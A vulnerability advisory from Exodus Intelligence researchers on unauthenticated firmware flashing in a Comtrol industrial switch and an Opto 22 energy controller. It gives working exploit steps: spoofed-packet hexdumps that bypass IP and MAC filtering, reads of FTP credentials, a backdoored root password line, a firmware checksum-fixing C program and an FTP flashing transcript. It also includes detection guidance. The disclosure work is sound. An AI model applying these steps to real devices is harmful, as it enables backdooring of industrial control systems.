Contributors: David Barksdale of Exodus Intelligence, Independent Security Researcher Jeremy Brown

These are two vulnerabilities that allow a remote unauthenticated attacker to update firmware. If the device is configured with MAC or IP filtering, the attacker can bypass filtering if they have access to the same network segment as the device.

Comtrol RocketLinx ES8510-XTE

Product Overview

The Comtrol RocketLinx ES8510-XTE is a managed industrial Ethernet switch. It has seven 10/100BASE-TX ports and three additional ports which can be allocated among any of three 10/100BASE-TX ports and three SFP ports. It has two digital-in and two digital-out ports which can be used for alarms or triggering events. It also has an RS-232 console port.

The switch can be managed with a Command Line Interface (CLI) accessible over the console port, SSH, and Telnet; with a web interface; SNMP; and with a Windows program called PortVision DX.

Vulnerability

The CLI, web interface, and SNMP all require authentication, however the PortVision program can carry out certain management tasks without authentication. PortVision sends commands to the switch via UDP packets to port 5010. The switch can be configured to filter packets based on an IP and MAC whitelist to prevent attackers from sending unauthorized commands to the switch. This can be bypassed and an attacker can use the PortVision protocol to upload and flash a backdoored firmware to the switch.

Because the PortVision protocol lacks authentication and can upload and flash firmware files, which also lack cryptographic authentication, an attacker can install a backdoor in the switch. The PortVision protocol is also session-less UDP, allowing an attacker to bypass IP and MAC filtering by sending spoofed packets to the switch.

Comtrol has published firmware version 2.7d which allows users to disable the PortVision service, in earlier versions the service is always available.

PortVision Protocol

PortVision sends requests to network devices using UDP on port 5010, either to the IP broadcast address or unicast to a specific IP. Responses are always sent to the IP broadcast address and the UDP source and destination ports swapped from the request. Both requests and responses have the same format. The data format is a sequence of records having three parts: a 32-bit big-endian type code, a 32-bit big-endian length, and a variable-sized value with the specified length. The type code of the first record in a request is the type of the request and the value of this record is unused. The following records are parameters to the request. The responses usually have a record with an acknowledge type code to match the request, but it is not always the first record in the response. The known type codes are listed below.

PortVision Protocol Record Types

Type Code Description
1 Manufacturer string
2 Model string
3 MAC address (6 bytes)
4 IP address (4 bytes)
5 IP netmask (4 bytes)
6 IP gateway (4 bytes)
7 Discovery request
8 Discovery acknowledgement
11 IP configuration request
12 IP configuration acknowledgement
21 Configuration file backup request
24 Configuration file restore request
27 Configuration file load default request
25 Reset to factory defaults acknowledgement
31 Firmware upgrade request
32 Firmware upgrade acknowledgement
33 Firmware upgrade error string
34 Version string
35 Bootloader upgrade request
43 TFTP clear file request (clears /home/Quaaga.conf and /home/firmware.bin)
44 Reboot request
45 Reset to factory defaults request
91 LED signal on request
92 LED signal off request
94 SFP check request
111 Self-test request

The IP configuration, factory reset, and reboot requests require a MAC address record matching the network device intended to carry out the request.

Disabling Security

The switch can be configured with IP and MAC whitelists. The attacker can discover a whitelisted IP address by sending a PortVision discovery request to the IP broadcast address from every IP address in a subnet looking for responses. The response from the switch is also sent to the IP broadcast address. In order to determine which IP address was in the whitelist, each discover request is sent from a unique UDP source port, the discovery reply is sent back to the same port. The MAC filtering is bypassed by sending packets from the Ethernet broadcast address (FF:FF:FF:FF:FF), which is always allowed through the filter. This can only be done if the attacker is on the same network segment as the switch.

The discovery request has one record of type 7, length 1, and data 1:

<span style="color: red;">00 00 00 07</span> <span style="color: green;">00 00 00 01</span> <span style="color: blue;">01</span>

The example discovery reply below has the following records:

Manufacturer string: Comtrol

Model string: ES8510-XTE

Discovery acknowledgement: ack

IP address: 10.100.0.5

IP netmask: 255.255.255.0

MAC address: 00:c0:4e:30:01:93

Version string: v2.7c (b1.6.2.12)

Type 9: 00 00 00 00

IP gateway: 10.100.0.1

Type 222: 00 00 00 00

00000000 <span style="color: #ff0000;">00 00 00 01</span> <span style="color: #008000;">00 00 00 07</span> <span style="color: #0000ff;">43 6f 6d 74 72 6f 6c</span> <span style="color: #ff0000;">00</span> ........ Comtrol.
00000010 <span style="color: #ff0000;">00 00 02</span> <span style="color: #008000;">00 00 00 0a</span> <span style="color: #0000ff;">45 53 38 35 31 30 2d 58 54</span> .......E S8510-XT
00000020 <span style="color: #0000ff;">45</span> <span style="color: #ff0000;">00 00 00 08</span> <span style="color: #008000;">00 00 00 03</span> <span style="color: #0000ff;">61 63 6b</span> <span style="color: #ff0000;">00 00 00 04</span> E....... .ack....
00000030 <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a 64 00 05</span> <span style="color: #ff0000;">00 00 00 05</span> <span style="color: #008000;">00 00 00 04</span> .....d.. ........
00000040 <span style="color: #0000ff;">ff ff ff 00</span> <span style="color: #ff0000;">00 00 00 03</span> <span style="color: #008000;">00 00 00 06</span> <span style="color: #0000ff;">00 c0 4e 30</span> ........ ......N0
00000050 <span style="color: #0000ff;">01 93</span> <span style="color: #ff0000;">00 00 00 22</span> <span style="color: #008000;">00 00 00 11</span> <span style="color: #0000ff;">76 32 2e 37 63 20</span> .....".. ..v2.7c
00000060 <span style="color: #0000ff;">28 62 31 2e 36 2e 32 2e 31 32 29</span> <span style="color: #ff0000;">00 00 00 09</span> <span style="color: #008000;">00</span> (b1.6.2. 12).....
00000070 <span style="color: #008000;">00 00 04</span> <span style="color: #0000ff;">00 00 00 00</span> <span style="color: #ff0000;">00 00 00 06</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a</span> ........ ........
00000080 <span style="color: #0000ff;">64 00 01</span> <span style="color: #ff0000;">00 00 00 de</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">00 00 00 00</span> <span style="color: #aaa;">--</span> d....... .......

Once a whitelisted IP is found, security can be disabled by issuing a factory reset request:

00000000 <span style="color: #ff0000;">00 00 00 2d</span> <span style="color: #008000;">00 00 00 01</span> <span style="color: #0000ff;">01</span> <span style="color: #ff0000;">00 00 00 03</span> <span style="color: #008000;">00 00 00</span>
00000010 <span style="color: #008000;">06</span> <span style="color: #0000ff;">00 c0 4e 30 01 93</span>

The IP configuration from the discovery reply above can then be restored by issuing an IP configuration request:

00000000 <span style="color: #ff0000;">00 00 00 0b</span> <span style="color: #008000;">00 00 00 01</span> <span style="color: #0000ff;">01</span> <span style="color: #ff0000;">00 00 00 03</span> <span style="color: #008000;">00 00 00</span>
00000010 <span style="color: #008000;">06</span> <span style="color: #0000ff;">00 c0 4e 30 01 93</span> <span style="color: #ff0000;">00 00 00 04</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a</span>
00000020 <span style="color: #0000ff;">64 00 05</span> <span style="color: #ff0000;">00 00 00 05</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">ff ff ff 00</span> <span style="color: #ff0000;">00</span>
00000030 <span style="color: #ff0000;">00 00 06</span> <span style="color: #008000;">00 00 00 04</span> <span style="color: #0000ff;">0a 64 00 01</span>

If only IP filtering is configured and the attacker already knows the MAC and IP of the switch and an IP address on the whitelist and the attacker can send it packets with a spoofed IP source address, then the firmware update can be carried out from outside the local network segment and without the need for a factory reset.

Backdooring the Firmware

A backdoored firmware image is created by extracting the parts of the 2.7c firmware image—the kernel, the squashfs filesystem, and the trailer—and then modifying the /etc/passwd file to allow the root user to login over SSH, and then recombining the parts and updating the checksum in the trailer.

Firmware Parts

Offset Size Description
0 0x100000 Kernel
0x100000 0x459000 SquashFS Root
0x559000 0x1000 Trailer

The squashfs filesystem can be extracted and re-made using the squashfs-2.2-r2-7z code from Firmware Mod Kit. The only modification made is to give root the password “exodus” and the shell /bin/sh.

root:$1$$xNQSqSIqPHr/jbk09AEDa1:0:0:root:/home:/bin/sh

The new squashfs filesystem is combined with the original kernel and tailer parts and the checksum in the trailer is updated with the following C program.

#include <endian.h>
#include <stdint.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  FILE *fp = fopen(argv[1], "r+");
  if (!fp) {
    perror("fopen");
    return -1;
  }

  // sum every little-endian 32-bit word in the file
  uint32_t checksum = 0;
  uint32_t buf[1024];
  int i;
  while (1024 == fread(buf, 4, 1024, fp)) {
    for (i = 0; i < 1024; i++)
      checksum += le32toh(buf[i]);
  }

  // subtract out the last block
  for (i = 0; i < 1024; i++)
    checksum -= le32toh(buf[i]);
  printf("checksum = 0x%08X\n", checksum);

  // print out the obfuscated product-version string
  printf("Firmware Version: ");
  uint8_t *bytes = (uint8_t *)buf;
  for (i = 791; i < 791 + 34; ++i) {
    bytes[i] -= 103;
    printf("%c", bytes[i]);
  }
  printf("\n");

  // checksum is stored in little endian at offset 283
  fseek(fp, -4096 + 283, SEEK_CUR);
  checksum = htole32(checksum);
  printf("writing checksum at offset %ld\n", ftell(fp));
  fwrite(&checksum, 4, 1, fp);
  fclose(fp);
}

Flashing the Firmware

The backdoored firmware is transferred using TFTP to the destination path

/home/firmware.bin

on the switch. Then a PortView request is sent to command the switch to flash the firmware:

<span style="color: #ff0000;">00 00 00 1f</span> <span style="color: #008000;">00 00 00 01</span> <span style="color: #0000ff;">01</span>

And another to reboot the switch:

00000000 <span style="color: #ff0000;">00 00 00 2c</span> <span style="color: #008000;">00 00 00 01</span> <span style="color: #0000ff;">01</span> <span style="color: #ff0000;">00 00 00 03</span> <span style="color: #008000;">00 00 00</span>
00000010 <span style="color: #008000;">06</span> <span style="color: #0000ff;">00 c0 4e 30 01 93</span>

Detection Guidance

Exploitation attempts can be detected by monitoring network traffic for unexpected TFTP and PortVision traffic. The PortVision software periodically polls the network with discovery requests, but firmware upgrade requests should be rare and only during planned maintenance.

Opto 22 OPTEMU-SNR-DR2

Product Overview

The Opto 22 OPTEMU-SNR-DR2 is an energy monitoring and control device. It can monitor two KY or KYZ pulsing devices and up to 64 data inputs from Modbus devices over serial or Ethernet. It has four relay outputs for controlling equipment or signaling other energy or building management systems.

The device can be managed over Ethernet using the OptoMMP, PAC Control, FTP, and SNMP protocols.

The latest firmware as of this publication (version 9.2b) is vulnerable.

Vulnerability

The FTP and SNMP protocols both support authentication, however the OptoMMP and PAC Control protocols do not support authentication. The OptoMMP protocol can be used for administrative tasks like modifying IP filtering rules and the credentials used for FTP authentication. The PAC Control protocol is not used in this exploit but also provides a high level of access to the device’s functions.

The device does not use cryptographic authentication to verify new firmware images and will accept a malicious firmware uploaded over FTP. The FTP authentication credentials can be read directly from the device using the OptoMMP protocol, which itself has no authentication. The OptoMMP protocol has a session-less UDP mode, allowing an attacker to bypass IP filtering by sending spoofed packets to the device.

OptoMMP Protocol

The OptoMMP protocol is documented in OptoMMP Protocol Guide. The protocol is based on IEEE 1394 and presents a memory-map which can be read and written by byte addresses. It can be accessed via TCP or UDP on port 2001. The memory addresses relevant to this exploit are listed below.

OptoMMP Security Fields

Address Size Description
0xfffff03a0010 0x4 FTP port
0xfffff03d0000 0x40 FTP username
0xfffff03d0040 0x40 FTP password
0xfffff03a0020 0x4 IP Filter Address
0xfffff03a0024 0x4 IP Filter Mask
(eight address-mask pairs omitted)
0xfffff03a0068 0x4 IP Filter Address
0xfffff03a006c 0x4 IP Filter Mask
0xfffff0300080 0x20 Device’s part number

Disabling Security

The device can be configured with IP filtering whitelists and the FTP service can be disabled by setting its port number to zero. A whitelisted IP address can be discovered by sending an OptoMMP read request to the broadcast address from every IP address in a subnet looking for responses. This can only be done if the attacker is on the same network segment as the device.

The following packet hexdump shows the contents of the UDP packets used to discover a whitelisted IP address. The packets are sent to the IP broadcast address 255.255.255.255. The IP source address is different for each packet as it is scanned through a range of addresses. At the UDP layer the packets are sent to port 2001 and the source port is randomly chosen. The transaction label (the six high-order bits in the third byte) is also chosen randomly.

00 00 bc 50 00 00 <span style="color: #ff0000;">ff ff f0 30 00 80</span> <span style="color: #008000;">00 20</span> 00 00

The reply to the read block request is unicast back to the source port and IP address of the request.

00000000 00 00 ec 70 00 00 00 00 00 00 00 00 <span style="color: #008000;">00 20</span> 00 00 ...p.... ..... ..
00000010 <span style="color: #0000ff;">4f 50 54 4f 45 4d 55 2d 53 4e 52 2d 44 52 32 00</span> OPTOEMU- SNR-DR2.
00000020 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........

The FTP port is then set to 21 with a write block request to ensure that FTP is enabled. The response is ignored.

00000000 00 00 b8 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 10</span> <span style="color: #008000;">00 04</span> 00 00
00000010 <span style="color: #0000ff;">00 00 00 15</span>

The ten IP filter mask values are all set to 0.0.0.0 with ten write block requests. The responses are ignored.

00000014 00 00 04 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 24</span> <span style="color: #008000;">00 04</span> 00 00
00000024 <span style="color: #0000ff;">00 00 00 00</span>
00000028 00 00 80 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 2c</span> <span style="color: #008000;">00 04</span> 00 00
00000038 <span style="color: #0000ff;">00 00 00 00</span>
0000003C 00 00 04 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 34</span> <span style="color: #008000;">00 04</span> 00 00
0000004C <span style="color: #0000ff;">00 00 00 00</span>
00000050 00 00 14 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 3c</span> <span style="color: #008000;">00 04</span> 00 00
00000060 <span style="color: #0000ff;">00 00 00 00</span>
00000064 00 00 d8 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 44</span> <span style="color: #008000;">00 04</span> 00 00
00000074 <span style="color: #0000ff;">00 00 00 00</span>
00000078 00 00 c0 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 4c</span> <span style="color: #008000;">00 04</span> 00 00
00000088 <span style="color: #0000ff;">00 00 00 00</span>
0000008C 00 00 90 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 54</span> <span style="color: #008000;">00 04</span> 00 00
0000009C <span style="color: #0000ff;">00 00 00 00</span>
000000A0 00 00 38 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 5c</span> <span style="color: #008000;">00 04</span> 00 00
000000B0 <span style="color: #0000ff;">00 00 00 00</span>
000000B4 00 00 a8 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 64</span> <span style="color: #008000;">00 04</span> 00 00
000000C4 <span style="color: #0000ff;">00 00 00 00</span>
000000C8 00 00 d8 10 00 00 <span style="color: #ff0000;">ff ff f0 3a 00 6c</span> <span style="color: #008000;">00 04</span> 00 00
000000D8 <span style="color: #0000ff;">00 00 00 00</span>

The FTP username is obtained with a read block request:

00 00 08 50 00 00 <span style="color: #ff0000;">ff ff f0 3d 00 00</span> <span style="color: #008000;">00 40</span> 00 00

In this example the configured FTP username is “admin”:

00000000 00 00 08 70 00 00 00 00 00 00 00 00 <span style="color: #008000;">00 40</span> 00 00 ...p.... .....@..
00000010 <span style="color: #0000ff;">61 64 6d 69 6e 00 00 00 00 00 00 00 00 00 00 00</span> admin... ........
00000020 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000030 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000040 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........

The FTP password is also obtained with a read block request:

00 00 9c 50 00 00 <span style="color: #ff0000;">ff ff f0 3d 00 40</span> <span style="color: #008000;">00 40</span> 00 00

In this example the configured FTP password is “exodus”:

00000000 00 00 9c 70 00 00 00 00 00 00 00 00 <span style="color: #008000;">00 40</span> 00 00 ...p.... .....@..
00000010 <span style="color: #0000ff;">65 78 6f 64 75 73 00 00 00 00 00 00 00 00 00 00</span> exodus.. ........
00000020 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000030 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........
00000040 <span style="color: #0000ff;">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span> ........ ........

At this point the firmware can be upgraded using the FTP server on port 21.

Firmware

The firmware image is a raw image that is stored in flash memory which is mapped into the CPUs address space at

0x60000000

. The firmware has an ANSI CRC16 checksum stored as a big-endian 32-bit number at offset

0x3f8

into the file and the file size is stored as a big-endian 32-bit number at offset

0x3fc

into the file.

Flashing the Firmware

The firmware is uploaded over FTP to the device into the root directory. The command to program the firmware into flash memory is the string “Krn <filename>” uploaded as a file named “commandfile” over FTP. The result of the command can be read back by downloading the “commandfileresponse” file. The following is a transcript from the FTP control connection.

220 Opto 22 FTP server ready.
<span style="color: #ff0000;"><strong>USER admin</strong></span>
331 Please specify the password.
<span style="color: #ff0000;"><strong>PASS exodus</strong></span>
230 User logged in, proceed.
<span style="color: #ff0000;"><strong>TYPE i</strong></span>
200 TYPE Command okay.
<span style="color: #ff0000;"><strong>PASV</strong></span>
227 Entering Passive Mode (10,100,0,3,250,245).
<span style="color: #ff0000;"><strong>STOR payload</strong></span>
150 File status okay; about to open data connection.
226 Closing data connection.
<span style="color: #ff0000;"><strong>TYPE i</strong></span>
200 TYPE Command okay.
<span style="color: #ff0000;"><strong>PASV</strong></span>
227 Entering Passive Mode (10,100,0,3,205,91).
<span style="color: #ff0000;"><strong>STOR commandfile</strong></span>
150 File status okay; about to open data connection.
226 Closing data connection.
<span style="color: #ff0000;"><strong>TYPE i</strong></span>
200 TYPE Command okay.
<span style="color: #ff0000;"><strong>PASV</strong></span>
227 Entering Passive Mode (10,100,0,3,159,210).
<span style="color: #ff0000;"><strong>RETR commandfileresponse</strong></span>
150 File status okay; about to open data connection.
226 Closing data connection.
221 Goodbye.

The device automatically reboots after successful programming.

This procedure leaves the networking configuration intact but clears other configuration and programming of the device.

Detection Guidance

Exploitation attempts can be detected by monitoring network traffic for unexpected FTP and OptoMMP traffic. Firmware upgrades should be rare and only during planned maintenance.